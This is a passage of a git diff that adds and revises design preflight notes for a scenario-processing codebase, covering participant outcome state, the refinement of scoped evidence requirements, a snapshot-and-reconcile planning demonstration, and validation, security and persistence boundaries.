transport error. +- Order updates using existing causal/sequence and shared-time authorities, + including clock segments/state cuts where applicable. Freshness must refer to + a declared observation point or validity rule, not wall-clock arrival alone. + Duplicate delivery is idempotent; changed payload under the same update + identity, stale predecessor, and an update for another live episode cannot + overwrite current state. Corrections append provenance-bearing history. +- Initialize a new episode without inheriting achieved state accidentally. + Reset/restart follow RUN-311 and retain old episode history; explicit transfer, + if supported, cites its source and governing rule. Termination, truncation, + timeout, and interruption do not imply achieved or failed local meaning. + Late evidence for a closed episode must be rejected or recorded as an explicit + historical correction under the declared policy, never applied to the new one. +- Keep current state a deterministic projection of validated history. Any + materialized head must agree with that history after reload/replay. Persist + head, history and revision through existing atomic snapshot/store commits; + invalid input and commit failure must not leave caches ahead of durable state. +- Action completion, participant outcome, objective result, evaluation and reward + remain separate. Cross-layer effects require explicit SEM-215 bindings and + reward governance; an interpretation/report reference asserts a relationship, + not authority to mutate the referenced objective or evaluator. Local state + must work when no evaluator or reward producer is present. + +## Cross-cutting layers the implementation must pass + +| Layer and canonical incumbents | Required treatment | +| --- | --- | +| Authored decoding/shape: safe SDL parser, `SDLModel`, portable identifiers, `raes/scenario.py` | Use closed typed fields in the existing owner. Follow ADR-105 partial-description boundaries: a declaration is not evidence or an automatic collection request; abstract local meaning must not require invented backend detail. | +| Whole-scenario validation/composition: `SemanticValidator`, `raes/semantics/participant_outcome.py`, declaration indexes, `raes/composition/_behavior.py`, `_language_metadata.py`, `_module_symbols.py` | Resolve every supplied participant/rule/action/objective ref, rewrite it under composition, validate after instantiation. No executable meaning hidden in arbitrary metadata. | +| Compilation: `raes_processor/compiler/participant_contracts.py`, `participant_behaviors.py`, `addresses.py`, `alias_index.py`, `RuntimeModel` | Preserve deterministic addresses, declared dependencies and semantic revision. Reuse behavior specification rule refs instead of copying rules into each participant. | +| Wire/runtime shapes: `ContractModel`, `participant_runtime.py`, `participant_views.py`, `ParticipantRuntimeBaseEnvelopeModel`, processor `models/outcome.py` and `history_event.py` | Share semantic checks between existing dataclass and Pydantic representations. An outcome needing scope must require exact participant/episode bindings even though base-envelope scope fields are optional. Preserve timestamps, ordering, provenance, markings and source status; add no competing envelope. | +| Grounding/conformance: `models/outcome_interpretation_validation.py`, `behavior_grounding_checks.py`, `behavior_history_violations.py`, `raes_conformance/conformance/snapshot_semantics.py` | Reuse rule agreement and evidence/episode grounding. Wire the applicable compiled rules and prior state into real callers; a helper with optional context is not proof that each production path enforces it. Historical evidence aggregation needs explicit references and checks, since incumbent SEM-215 grounding is event-local. | +| Runtime admission/commit: `raes_backend_protocols/participant_runtime_base.py`, `participant_action_commit.py`, reference/libvirt runtimes, `raes_runtime/participant_action_validation.py`, `participant_result_contracts.py`, `backend_snapshot_contracts.py` | Validate producer updates before publication, including direct backend results, scheduler commits and replay/load. Reuse append-only history and ownership checks. Do not let backend output rewrite unrelated participant or scheduler state. | +| Persistence/concurrency: `RuntimeSnapshot`, `ControlPlaneStore`, `control_plane_store_revision.py`, terminal commits, `control_plane_durability.py`, shared participant reset helpers | Use existing snapshot revision/CAS, serialization, atomic commit and cache recovery. Concurrent actions cannot lose outcome updates. Do not store local state in free-form snapshot metadata or a second journal. | +| Observation/authorization: SEM-214/216, participant crossing/flow/opacity policy, `participant_retrieval.py`, `ParticipantHistoryViewModel`, `control_plane_api_participant_retrieval.py` | Participant-local does not mean participant-visible. Project under existing audience, evidence, marking and redaction rules; bind nested refs to the same participant/episode. Category, uncertainty, timing and diagnostic metadata can themselves disclose hidden truth. Refs are not permission to retrieve evidence. | +| HTTP, if a view or mutation is exposed: `ControlPlaneSecurityConfig`, `control_plane_api/_auth.py`, `_operation_routes.py`, P1/P2 profiles | Preserve strict authentication, target and participant subject/audience binding, bounded request/admission, mutation authorization, idempotency fingerprints, revision checks and audit. An authored offensive/defensive role grants no API authority. No new HTTP route is inherently required. | +| Errors/observability: SDL error types, `Diagnostic`/`Severity`, `portable_diagnostic_payload`, `_responses._conflict_detail`, request exception handlers | Use stable bounded diagnostic codes/refs and existing audits/operation receipts. Portable diagnostics require bounded messages and JSON-Pointer addresses; do not pass raw Pydantic input, evidence, exception text or backend output to logs/HTTP. Preserve redacted validation/conflict/500 envelopes. No ACT-618 exception hierarchy or logger stack. | +| Configuration/secrets/host exposure: `participant_configuration.py`, `contracts/experiment_bindings.py`, `secret_references.py`, existing execution/launcher owners | The outcome design needs no new environment binding, credential, process, socket or filesystem store. If a selected producer consumes configuration, retain declared target/type checks and literal versus secret-reference identity. Evidence uses refs, never secret values, environment dumps or private answer keys. Do not add tokens to argv, ad hoc env injection, shell evaluation, or outcome-driven file paths; retain existing host execution and store-permission boundaries. | + +The native autonomous commit path intentionally accepts only terminal action +statuses and excludes `unknown`, although the action enum contains it. Unknown +participant outcome knowledge must not weaken that action gate. Similarly, +current behavior history attaches interpretations only to `observation_emitted` +events, and episode-status sources require matching terminal episode history. +Do not invent fake action attempts to carry episode/evidence-only updates or +bypass these rules with a dictionary; any required extension belongs in the +existing lifecycle contract with explicit compatibility semantics. + +## Extensibility, publication and verification boundaries + +The extension seam is the existing outcome/interpretation definition selected +by stable reference and semantic revision, parameterized by governed category, +local criterion/evidence basis, transition/conflict policy and freshness basis. +Keep those rules independent of participant role and backend. A second category, +new evidence source, or another participant with the same category should reuse +the same state/history machinery. Use ADR-012/062 concept authority for governed +terms/extensions; no arbitrary Python callbacks, user-supplied expressions or +unvalidated strings as an extension mechanism. This does not require a new +profile registry or prescribe new public fields. + +Repository-wide publication owners are `contracts/schemas/`, `schema_bundle()`, +`tools/generate_contract_schemas.py`, `tools/check_generated_schemas.py`, +`tools/check_schema_publication.py`, and the manifest's current per-contract +entries under `contracts/schema-publication/entries/`. API-411 is currently +draft; that permits ledgered schema evolution, not silent historical data +reinterpretation. Apply ADR-061 and ADR-096 plus +`specs/evolution/versioning-deprecation-and-migration.md`: preserve old records, +identify reader/writer versions, and provide explicit migration/unsupported +behavior. Never backfill achieved state from old action success or treat an +absent historical field as a recorded unknown observation. Stable breaking +changes require a new contract version and the existing deprecation process. + +Changed contracts require matching governed schemas, publication hashes and +`last_change`, fixtures, formal guidance, SDL section/reference catalogs where +applicable, installed schema corpus and real IMPLEMENTS/TESTS traceability. +Use `.ground-control.yaml`, `.gc/plan-rules.md`, `noxfile.py`, schema/catalog/ +concept/authority policy checks and existing nox verification lanes; no new +issue-local workflow. CI owns full verification. This note does not claim +requirement satisfaction or create implementation/test links. + +Behavioral evidence must exercise actual producers and rejection paths, reusing +`test_sem_215_participant_outcome_interpretation.py`, RUN-305/311 tests, +participant backend-contract and runtime-invariant tests. Required cases include +the same category across all three roles, local success with objective failure, +local uncertainty after action completion, partial/conflicting/stale evidence, +wrong participant/episode/rule binding, retries and concurrent updates, reset +with retained history, persistence/replay, and historical migration. Test hidden +evidence leakage through views and error envelopes, not just JSON Schema shape. + +## Non-goals and anti-patterns + +No requirement implementation, schema/code/fixture changes or implementation +plan in this preflight. ACT-618 does not own holdings lifecycle (#217), identity, +action execution, a new evaluator/reward system, controller workflow, observation +collection, or backend infrastructure. Reference holdings through their owner. +Avoid role-specific outcome schemas, Boolean success propagation, parallel +validation/resolution/exception/store stacks, unconditional evidence collection, +implicit reset carryover, mutable historical records, and claiming that schema +or fixture acceptance demonstrates production state behavior. diff --git a/docs/decisions/issue-341-exp-731-evidence-requirement-refinement-preflight.md b/docs/decisions/issue-341-exp-731-evidence-requirement-refinement-preflight.md index e191de60b..4e26c38ee 100644 --- a/docs/decisions/issue-341-exp-731-evidence-requirement-refinement-preflight.md +++ b/docs/decisions/issue-341-exp-731-evidence-requirement-refinement-preflight.md @@ -2,6 +2,8 @@ Date: 2026-06-28 +Updated: 2026-09-14 + Issue: #341. Requirement: EXP-731. @@ -24,6 +26,15 @@ runtime behavior, APIs, storage, fixtures, tests, or coverage claims. - ADR-055, ADR-064, and ADR-065 define experiment task, capture spec, evidence record, derived measure, run traceability, realized-form, augmentation, and study boundaries. +- ADR-074 and ADR-084 define the pre-run authoring and admitted-trial + boundaries. ADR-076 defines portable declaration identity and canonical + addresses. ADR-094 defines typed cross-plane authority bindings. +- `docs/decisions/issue-1112-required-capture-admission-preflight.md` and + `docs/migration/required-capture-admission.md` define the canonical capture + demand, coherent-offer admission, and content-backed satisfaction chain. +- `docs/decisions/issue-1212-scoped-observation-demand-preflight.md` and + `specs/formal/observability-evidence-plane.md` define scoped observation + policy and authority-aware composition. - ADR-012, ADR-061, ADR-062, ADR-009, `contracts/schema-publication-manifest.json`, and `.gc/plan-rules.md` define concept authority, schema governance, authority boundaries, and workflow gates. @@ -31,39 +42,66 @@ runtime behavior, APIs, storage, fixtures, tests, or coverage claims. ## Architecture Decisions -- EXP-731 is a scoped overlay problem, not a new authored-scenario meaning - root. A refinement or extension must point back to the authored requirement, - task/capture requirement, run, or study scope it constrains. +- The issue #128 implementation is a partial regression guard, not the EXP-731 + architecture. Its run realized-form check only requires generic + `authored_ref` and `evidence_refs` for `capture-window` and + `measurement-channel` disclosures. It does not type or resolve the authored + requirement, compare base and scoped obligations, cover task/study inputs, or + prove that the base requirement was preserved. +- EXP-731 is a typed, scoped relationship over existing evidence concepts, not + a new authored-meaning root and not a generic patch mechanism. The + relationship must identify the immutable base declaration, the task/run/study + authority that adds policy, and the materialized additional obligation. - The authored SDL `evidence_requirements` map remains the base capture-intent declaration. Task-, run-, and study-level changes must not mutate that map or reuse the same requirement id with changed meaning. -- Refinement means a stricter or more specific obligation over an existing - requirement dimension such as scope, window, channel, media type, integrity, - sensitivity, redaction, retention, loss disclosure, or satisfaction evidence. - Extension means an explicitly additional obligation in a scoped context. +- Base and scoped obligations compose conjunctively and retain separate + authority and origin. Refinement adds a dimension-specific obligation that is + demonstrably stricter or more specific; extension adds a separately + identified obligation. An implementation must not serialize an "effective" + requirement by overwriting the base. - Weakening a base requirement is not refinement. If a later context cannot satisfy the base requirement, represent that as a new task/study version, explicit supersedure, run deviation, loss disclosure, invalidation, or exclusion criterion. -- Task-level refinements belong with experiment task/capture intent: - `ExperimentTaskModel.evaluation_protocol`, metric evidence requirements, - observation requirements, and `experiment-capture-spec-v1` concepts. They - must preserve the scenario/snapshot reference chain. -- Run-level refinements belong with run provenance: selected capture specs, - evidence records, run `traceability`, `realized_form_disclosures`, and - `augmentation_disclosures`. They must not rewrite the referenced task. -- Study-level refinements belong with study inclusion criteria, run allocation, - analysis plans, validity notes, and membership constraints. They must cite - task/run/evidence/analysis refs rather than changing the task protocol by - implication. +- Positive observation policy must reuse `observation-demand-v1` and its + normalizer for purpose, semantic scope, selection, collection, retention, + export, redaction, and integrity. Concrete capture products must reuse + `EvidenceRequirement`, `ExperimentCaptureRequirementModel`, and + `ExperimentCaptureSpecModel`; admission must reuse `CaptureDemand` and the + coherent-offer matcher. +- Prospective run policy belongs in the experiment authoring/run-plan and + selected capture-spec/admitted-plan boundary. `ExperimentRunModel` is the + archival result. `realized_form_disclosures` describe processor/backend + realization of underspecified concerns and must not become the prospective + refinement carrier. Augmentation disclosure is a separate SEM-225 concept. +- Task- and study-scoped policy must have the same typed relationship and + preserve the scenario/snapshot chain. It must not be hidden in evaluation + prose, study inclusion criteria, validity notes, membership constraints, or + analysis plans. A study remains an archival grouping/analysis contract, not a + silent task protocol editor. - Existing satisfaction validation remains authoritative. New refinement checks - must compose with `validate_experiment_run_against_task()` and the - experiment-core model validators instead of adding a parallel evidence - satisfaction algorithm. -- Reference identity must be explicit. Use constrained `ExperimentReferenceModel` - subclasses and existing digest/path qualifier rules; do not identify - requirements by title text, tag strings, fixture paths, backend ids, or log - messages. + must compose with capture admission, `validate_experiment_run_against_task()`, + and `validate_experiment_run_evidence()` instead of adding a parallel + admission, matching, or evidence-satisfaction algorithm. +- A closed carrier can validate shape but cannot prove a cross-artifact + refinement. The owning authoring/admission/run/study validation path must be + given the resolved base scenario or snapshot, scoped owner, capture specs, + and evidence inputs it needs. A context-free conformance runner must not claim + full EXP-731 coverage. +- Requirement identity is document/snapshot scoped. Bind the exact authored + scenario/snapshot identity (including digest where exactness is required) and + ADR-076 canonical declaration address such as + `evidence_requirements.`. Materialized capture identity is + the tuple of capture-spec id/version and requirement id. Bare requirement + ids, titles, tags, fixture paths, and backend-native ids are not portable + joins. +- `ExperimentEvidenceReferenceModel` and `ref_kind="evidence"` are already used + across requirement, satisfaction, and run-artifact contexts. They do not, by + themselves, prove which concept or authority is referenced. EXP-731 must not + deepen that conflation: use the existing context-specific constrained + references plus the canonical authored address, and change the shared + reference taxonomy only through its concept/schema governance. ## Required Incumbents @@ -78,11 +116,26 @@ runtime behavior, APIs, storage, fixtures, tests, or coverage claims. `token_decides_plane()`. - Experiment-core contracts: `ExperimentReferenceModel` and constrained reference subclasses, `ExperimentTaskModel`, + `ExperimentSpecModel`, `ExperimentRunPlanModel`, `ExperimentEvaluationProtocolModel`, `ExperimentCaptureSpecModel`, `ExperimentCaptureRequirementModel`, `ExperimentEvidenceRecordModel`, `ExperimentDerivedMeasureModel`, `ExperimentRunTraceabilityModel`, `ExperimentRunModel`, `ExperimentStudyModel`, and `validate_experiment_run_against_task()`. +- Scoped policy: `ObservationDemandRule`, `ObservationDemandDocument`, + observation-demand normalization/resolution, and the compiler mapping from + `EvidenceRequirement.observation_demand` to a canonical + `authority_ref`. Preserve each authority and origin; do not make a + more-specific rule impersonate the authored rule. +- Admission and proof: `compile_scenario_capture_demands()`, + `compile_capture_spec_demands()`, `capture_admission_diagnostics()`, exact + capture-spec binding in admitted trial plans, + `validate_experiment_run_evidence()`, and its content-backed artifact reader + boundary. +- Parsing and diagnostics: the existing safe, size-bounded SDL and experiment + spec loaders; `Diagnostic`, `Severity`, and `sanitized_failure_message()`. + Semantic failures must use this diagnostic surface rather than a new + exception hierarchy or raw Pydantic/backend messages. - Schema authority: `ContractModel`, `schema_bundle()`, `tools/generate_contract_schemas.py`, `tools/check_generated_schemas.py`, `contracts/schemas/`, `contracts/fixtures/`, and @@ -100,6 +153,11 @@ runtime behavior, APIs, storage, fixtures, tests, or coverage claims. - SDL/config layer: base authored requirements must pass safe YAML loading, normalized keys, closed `SDLModel` shapes, symbol-key rejection, fail-closed reference resolution, and instantiated revalidation. +- Experiment-input layer: task/run policy must pass the bounded safe YAML + loader, closed `ContractModel`/Pydantic shapes, reference qualifier rules, + observation-demand normalization, and deterministic admitted-plan digest + binding. EXP-731 requires no new environment variable or untyped config + dictionary. - Plane-classifier layer: refinements remain in the authored evidence, captured evidence, derived analysis, processor/backend operational, or scenario-native planes by carrier role, never by words such as `log`, @@ -110,9 +168,14 @@ runtime behavior, APIs, storage, fixtures, tests, or coverage claims. - Experiment-core layer: refinement satisfaction must reuse capture-spec key equality, window resolution, evidence-record redaction/loss, derived-measure source-evidence, run traceability, and task/run cross-artifact validators. -- Study layer: study-level constraints must use membership, inclusion - criteria, run allocation, analysis plans, validity notes, and metric/run - grounding. They must not create hidden task protocol changes. +- Admission layer: every base and scoped mandatory demand remains an independent + conjunctive demand and must be satisfied by one coherent backend offer. Do + not merge dimensions from different offers or let nearest-scope preference + resolution erase an independently authored obligation. +- Study layer: study-level refinements require an explicit typed carrier and + metric/run/evidence grounding. Existing inclusion criteria, run allocation, + analysis plans, validity notes, and free text cannot carry a hidden protocol + change. - Auth/control-plane layer: future API exposure must reuse bearer/proxy authentication, backend/operator/auditor role gates, request-size limits, idempotency fingerprints, audit records, response DTOs, and redacted 500 @@ -122,6 +185,15 @@ runtime behavior, APIs, storage, fixtures, tests, or coverage claims. bearer tokens, private keys, environment dumps, raw backend payloads, hidden answer keys, full tracebacks, or large raw evidence payloads. Use content refs, checksums, sensitivity, redaction state, and bounded summaries. +- Parser/content layer: do not fetch requirement or evidence URIs, discover host + paths, invoke subprocesses, or pass sensitive material through argv. Exact + comparison and normalization are pure in-process operations; evidence bytes + remain behind caller-supplied, bounded readers used by the existing + satisfaction validator. +- Error-envelope layer: report stable diagnostic code/address/severity and a + bounded sanitized message. If this is ever exposed by the control-plane API, + preserve its generic request-validation and internal-error responses and + audit only bounded reason classes, not payloads or exception strings. - Persistence layer: scoped refinements are portable contract data, not live runtime state. Do not store the only authoritative copy in `RuntimeSnapshot.metadata`, operation details, backend DTOs, audit blobs, @@ -129,27 +201,37 @@ runtime behavior, APIs, storage, fixtures, tests, or coverage claims. - Policy layer: implementation must satisfy Ground Control checks, module boundary policy, concept-authority governance, generated-schema parity, schema-publication governance, semantic coverage, and requirement - traceability. + traceability. At this preflight revision, `check_requirement_governance.py` + rejects `EXP-731` because it is absent from + `tools/policy/requirement_order.yaml`; implementation cannot claim a green + governance gate until the requirement is mapped through the normal policy + workflow. ## Extension Boundary -The extension seam is a scoped refinement overlay with explicit provenance: +The extensibility seam is one typed scoped relationship with explicit +provenance, reused by the existing task/run/study input and archival owners: + +- stable relationship id/version and relation kind `refine` or `extend`; +- exactly one task, run, or study authority/owner; +- exact base scenario/snapshot identity plus canonical authored declaration + address; +- exact materialized capture-spec/requirement coordinate for the added + obligation; +- typed, dimension-specific change and rationale/provenance; and +- fail-closed conflict/comparability results that retain both origins. -- stable refinement id and version; -- `scope_kind` constrained to task, run, or study; -- base requirement refs to authored SDL evidence requirements, experiment - capture requirements, task observation requirements, or study/run refs; -- operation kind such as stricter constraint, additive requirement, or explicit - supersedure; -- dimension-specific fields for source, scope, window, channel, media type, - sensitivity, redaction, integrity, retention, loss disclosure, satisfaction, - or comparability impact; -- rationale and provenance/evidence refs; and -- conflict policy that rejects silent loosening or ambiguous overlaps. +The comparison policy is the parameterized seam for the next variation: a +dimension-keyed comparator/normalizer may decide whether a value is stricter, +additional, equal, conflicting, or incomparable. Unknown dimensions and +incomparable combinations fail closed. Do not use arbitrary JSON Patch, +JSON Pointer mutation, blanket list inclusion, or a generic key/value overlay. +Future dimensions extend this governed comparison seam without changing base +identity or the admission/satisfaction chain. -Future variations should add dimensions or governed terms through this seam. -Do not add a second evidence-requirement registry, resolver, schema family, -exception hierarchy, logging/audit path, persistence store, or workflow engine. +This relationship is lineage, not a second evidence-requirement registry or +root persistence service. Supersedure, weakening, deviation, and exclusion are +separate explicit lifecycle concepts, not extra refinement operation values. ## Gotchas And Anti-Patterns @@ -157,7 +239,21 @@ Avoid: - rewriting authored SDL `evidence_requirements` during task, run, or study generation; +- extending `_RUN_REFINEMENT_CONCERN_KINDS` or generic realized-form + `authored_ref` checks as though they establish prospective refinement; - changing a requirement's meaning while preserving its id; +- treating a bare `requirement_id` as ecosystem-global, selecting the first + matching requirement, or silently tolerating duplicate ids across capture + specs; +- treating generic `ref_kind="evidence"` as a typed authored-requirement link, + or conflating an evidence obligation, capture requirement, evidence record, + satisfaction claim, and emitted artifact; +- feeding base and scoped rules to nearest-scope observation-demand resolution + under the same authority so that the scoped value replaces the base; +- assuming that a narrower window/scope, replacement channel, longer + retention, or stronger redaction is automatically a safe refinement. Such + changes may leave the broader base unsatisfied, change output meaning, or + conflict with privacy and retention policy; - treating capture specs, backend capability claims, observability systems, audit records, diagnostics, or raw logs as proof of capture; - loosening base requirements without explicit supersedure, deviation, loss, @@ -167,7 +263,8 @@ Avoid: - putting refinement semantics only in `notes`, `metadata`, diagnostics, audit blobs, backend DTOs, or free-form tags; - duplicating experiment-core capture, evidence-record, derived-measure, run, - study, reference, or plane-classifier validators; and + study, reference, capture-admission, satisfaction, observation-demand, or + plane-classifier validators; - leaking secrets, hidden truth, answer keys, prompts, private traces, environment dumps, process argv, full tracebacks, or raw evidence payloads through schemas, fixtures, diagnostics, logs, examples, or comments. @@ -180,6 +277,12 @@ Avoid: - Adding a new top-level SDL section, generic evidence bag, universal observability model, archival provenance root, or study protocol override model. +- Adding HTTP endpoints, authentication roles, environment/config switches, + subprocesses, URI fetching, host-path discovery, background workflow logic, + or a new persistence store for the relationship. +- Defining universal ordering for dimensions that have domain-specific or + policy-sensitive semantics. Only governed dimension comparators may classify + a change as stricter. - Replacing DSL-124 authored evidence requirements, experiment-core contracts, run provenance, study analysis semantics, control-plane security, schema authority, concept authority, diagnostics, audit, persistence, or workflow diff --git a/docs/decisions/issue-610-reconciliation-demonstration-preflight.md b/docs/decisions/issue-610-reconciliation-demonstration-preflight.md new file mode 100644 index 000000000..811d87d4e --- /dev/null +++ b/docs/decisions/issue-610-reconciliation-demonstration-preflight.md @@ -0,0 +1,132 @@ +# Issue #610: Reconciliation demonstration preflight + +Issue #610 is the authoritative contract: plan scenario v1, snapshot its planned +state, plan a modified v2 against that snapshot, and report +`create/update/delete/unchanged`. This is non-normative design guidance, not an +implementation plan. No new ADR is needed: ADR-008, ADR-015, ADR-036, ADR-057, +and ADR-066 already govern processing, layering, disclosure, and evidence. + +## Boundary and reuse + +Keep the harness a thin composition of the existing processor, with an offline, +self-contained bundled demonstration. The +incumbent user-facing surface is `raes_cli.processor` and its read-only `plan` +command; use that command group and Typer conventions for a runnable entry +point. Keep orchestration out of the planner and avoid a second standalone +command framework. Example SDL belongs in `examples/scenarios/`, with a +discoverable invocation and limitations in `examples/README.md`. Those files +are positive authoring examples, not new conformance fixtures. + +Use `raes_processor.reference.run_reference_processor` for both versions. It +already accepts `Path` inputs, `parameters`, `profile`, `base_snapshot`, and +`scope`, and drives parsing, instantiation, compilation, and planning. A plain +string is SDL text, not a filename. Use +`raes_backend_stubs.manifest.create_stub_manifest` as the default planning +target, without creating or applying stub backends. The CLI may depend on both +packages; the processor must not import the CLI, stubs, or runtime. + +The canonical reconciliation authority is +`raes_processor.semantics.planner.reconcile_resource_actions`, reached through +`raes_processor.planner.plan`. The planner's `ordering` and `operations` +modules own equality, dependency propagation, and domain operation ordering. +The harness consumes their result; it must not call private builders, compare +YAML/JSON to derive actions, or implement another reconciliation algorithm. + +## Snapshot and action meaning + +- The v1 snapshot is **synthetic assumed state**, following the existing + `_snapshot_from_plan` demonstration pattern in `test_runtime_planner.py`. + Label it explicitly. It is neither backend readback nor an instantiated SDL + snapshot, durable checkpoint, execution receipt, or proof of realization. +- Use `raes_contracts.runtime_state.RuntimeSnapshot` and `SnapshotEntry`, plus + the existing `ChangeAction`, `RuntimeDomain`, and plan DTOs from + `raes_contracts.planning`. No parallel snapshot, action enum, or plan schema. +- Admit v1 only when the reference result is valid. Preserve each resource's + canonical address, domain, type, payload, ordering dependencies, refresh + dependencies, and profile bindings. The old test helper omits profile + bindings; copying it literally loses part of today's reconciliation identity. + Consult the planned resources for bindings where an operation lacks them. + Copy mutable payloads so inspection or later processing cannot mutate v1 + through the snapshot. Never fabricate realized values, histories, observations, + materialization attestations, or successful execution statuses. +- For the initial empty baseline, snapshot non-delete v1 resources across + provisioning, orchestration, and evaluation. This narrow adapter is not a + general operation replay engine: skipping deletes would be wrong when + applying a later plan to an existing snapshot. +- Report v2 operations themselves, including `unchanged`; `actionable_operations` + deliberately excludes those. Show domain, address, resource type, action, + and all four counts (including zero). Counts describe v2 against the v1 + snapshot, not subtraction of the two plans' action histograms. A rename is + delete plus create. A refresh-dependent resource may update with identical + payload. Preserve the planner's apply/delete ordering in operation listings. +- A small fixture pair should make all four outcomes visible. The v1 baseline + and synthetic snapshot identity/dependency summary should also be inspectable. + A summary is a non-normative report, not a complete serialized snapshot or a + newly published contract. Do not silently truncate listings or claim coverage + of participant execution: the current planner builds three domain plans. + +## Cross-cutting gates + +Paths below `implementations/python/packages/` are abbreviated by package name. + +| Layer | Canonical incumbent and required treatment | +| --- | --- | +| SDL ingress | `raes.parser.parse_sdl_file`, `read_sdl_source`, and the existing parser limits enforce bounded reads, encoding, syntax, and source/alias limits. Pass paths into the reference processor; do not pre-read unbounded YAML or use a permissive loader. Retain SDL model, reference, semantic, instantiation, and compiler validation. | +| Auth and operator secrets | This is a local read-only CLI using ordinary filesystem permissions. It needs no control-plane server, MCP session, token, credential provider, or authorization bypass. Do not read operator credential stores or resolve secret references. Live execution would require the existing runtime auth/admission boundaries and is outside this issue. | +| Module imports and supply chain | File-backed parsing can call `raes.composition.expand_sdl_modules` and `raes.module_registry.resolve_import`, loading `raes.lock.json` and `raes-trust.yaml`. Custom inputs retain composition budgets/cycle checks, local-path rules, registry allowlisting, transport policy, digest/signature/export verification, and safe archive/cache handling. OCI resolution can fetch and write caches even during planning. Use import-free bundled fixtures; do not claim arbitrary custom paths are offline, replace the resolver, auto-trust a registry, or disable integrity checks. | +| Authored environment and credentials | `raes.runtime_environment`, `runtime_generated_value`, `runtime_values.enforce_observed_value_redaction`, `_classification_guard`, `accounts.account_credential_binding_issues`, and planner account validation remain authoritative. Preserve literal versus generated-reference shapes, explicit classification rules, consumer-output restrictions, and account binding semantics through normal compilation. No host environment substitution, generated secret realization, custom secret-name classifier, or second env-binding schema. | +| Backend/config admission | Reuse the typed `BackendManifest` from the stub factory and the planner's complete admission chain in `planner/core.py` and `manifest_validation.py`: capabilities, realization/envelope, artifacts, profiles, ordering, topology, materialization, and other current diagnostics. A demo must not clear errors or broaden capabilities to make a fixture pass. If a manifest file is exposed, share the incumbent CLI loader's bounded UTF-8 JSON, object, `BackendManifestV2Model`, adapter, and capability checks, including rejection of unresolved realization envelopes. No new configuration file or environment lookup. | +| Plan/state shape | `raes_contracts.addressing`, `_planning_validation`, `SnapshotEntry`, and `RuntimeSnapshot` own address grammar, map-key identity, dependencies, and state invariants. Retain those constructors. Profile ownership at a serialized boundary belongs to `SnapshotEntryModel`. If full snapshot JSON is exposed, validate it with `RuntimeSnapshotEnvelopeModel` against `contracts/schemas/snapshots/runtime-snapshot-v1.json`; do not dump dataclass internals and call them that contract. The published envelope is flattened, unlike the internal `RuntimeSnapshotEnvelope.snapshot` carrier. | +| Secrets and output | Default to action/identity/dependency summaries, with JSON escaping for authored names and paths. Raw payloads can contain scenario credentials or content. `raes_cli.processor._execution_plan_payload`, `raes_contracts.plan_projection`, and `account_credentials.value_free_account_placement_payload` are the existing full-plan projection path; the account projection is not a universal sanitizer. `realization_snapshot_sanitization` owns concern-specific comparison/projection and is not a general export scrubber. Never redact the authoritative comparison state merely to make display safe. | +| Errors and observability | Use `SDLError` subtypes, existing `Diagnostic`/`Severity`, and CLI exit conventions. `ReferenceProcessorResult.is_valid` governs success; invalid v1 must stop before snapshot/v2, and invalid v2 must not look successful. Follow `raes_cli.processor._sdl_error_summary` and `_manifest_validation_summary`: safe codes, positions, kinds/counts, not raw exception text, rejected values, YAML snippets, or tracebacks. Catch expected file/encoding/validation failures at ingress with similarly safe errors. Diagnostic JSON conversion (`diagnostic_payload` or `portable_diagnostic_payload`) enforces representation, not secrecy; free-form messages still need an appropriate disclosure boundary. Keep report JSON on stdout, errors on stderr; add no logging framework or audit/evidence claim. | +| Host/OS/runtime | The harness itself runs in-process without shell commands, subprocess argv payloads/tokens, new sockets, daemon discovery, elevated privileges, backend apply/start/stop, or host mutations. The import-free bundled demonstration avoids the resolver side effects described above. Document `uv run --project implementations/python --frozen ...` and Python support from `pyproject.toml`. Explicit paths must work without test-only `sys.path` or imports from tests. Checkout example paths are not installed-wheel assets; do not assume they exist beside an installed package. | +| Persistence | The required snapshot can live in memory; stdout inspection does not require a database or checkpoint repository. Actual durable snapshots already belong to runtime control-plane stores, revision/CAS handling, and codecs. Do not reuse their private APIs or add a competing store for a synthetic demo. Full persisted snapshot import/export, if later requested, needs the existing published contract and disclosure review rather than a demo-specific round-trip format. | + +## Extensibility and reliability + +Accept explicit v1 and v2 source paths rather than embedding a fixed pair in +the algorithm. Keep the same manifest, instantiation parameters/profile, and +`PlanScope` across the comparison unless the caller intentionally varies them. +The callable composition can use these existing parameters without exposing +every option in the first CLI. This is the seam for another scenario pair or +backend target, not a registry, plugin system, or new configuration hierarchy. + +Generated values with per-run/per-instantiation regeneration depend on scope +identity (`planner/core.py`); changing or omitting that identity can change +actions or invalidate planning independently of authored v2 changes. Use +deterministic fixtures without those dependencies for the basic demonstration. +Do not inject timestamps, random IDs, or machine-dependent paths into snapshot +comparison state or otherwise imply byte-for-byte reproducibility where the +inputs vary. Unsupported scenario/manifest combinations should fail normally. +Old planner fixtures may assert action lists without asserting plan validity; +their mere existence does not prove current stub admission. In particular, +`test_plan_inspection_cli.py` accounts for the stub's realization/readback +limits. Select supported demo content rather than stripping diagnostics. + +The behavior oracles are `test_runtime_planner.py`, `test_semantics_planner.py`, +`test_reference_processor.py`, and `test_plan_inspection_cli.py`. Verification +of the eventual harness needs actual fixture-to-entry-point coverage, exact +address/action outcomes, all three domain aggregations, same-input unchanged +behavior, profile/dependency preservation, refresh-driven updates, invalid +input/nonzero exits, and safe deterministic output. Avoid tests that merely +reproduce the counting implementation or change existing planner expectations. + +## Repository workflow and non-goals + +Respect `.ground-control.yaml`, `.gc/plan-rules.md`, `.pre-commit-config.yaml`, +`noxfile.py`, and `tools/nox_support/`: nox is the verification graph and Make +delegates to it. `tools/policy/adr_policy.yaml` and `check_repo_policy.py` govern +authority paths, imports, and the source-file size cap; hygiene includes +private-key detection and gitleaks. Targeted local checks cover changed +behavior; CI owns repository-wide verification. This issue has no requirement +UID: do not invent one or attach unrelated traceability. The policy runner +already has a requirement-free `--skip-requirement` lane. Use current `raes` +identities; older preflight notes retain historical package names. + +No planner semantics changes, backend execution/reconciliation certification, +runtime-controller/startup recovery, durable storage, replay/fidelity claims, +new published schemas, duplicate validators/DTOs/exceptions, or generalized +workflow engine belong here. No MCP/HTTP endpoint or auth/config expansion. +Do not expand this into a planner refactor, change accepted ADRs, relax policy, +edit release-owned versions/changelogs, or make the demonstration depend on +pytest internals or optional host infrastructure. diff --git a/docs/decisions/issue-684-public-release-acceptance-preflight.md b/docs/decisions/issue-684-public-release-acceptance-preflight.md new file mode 100644 index 000000000..69b4fcec5 --- /dev/null +++ b/docs/decisions/issue-684-public-release-acceptance-preflight.md @@ -0,0 +1,186 @@ +# Issue 684: public release controls and acceptance preflight 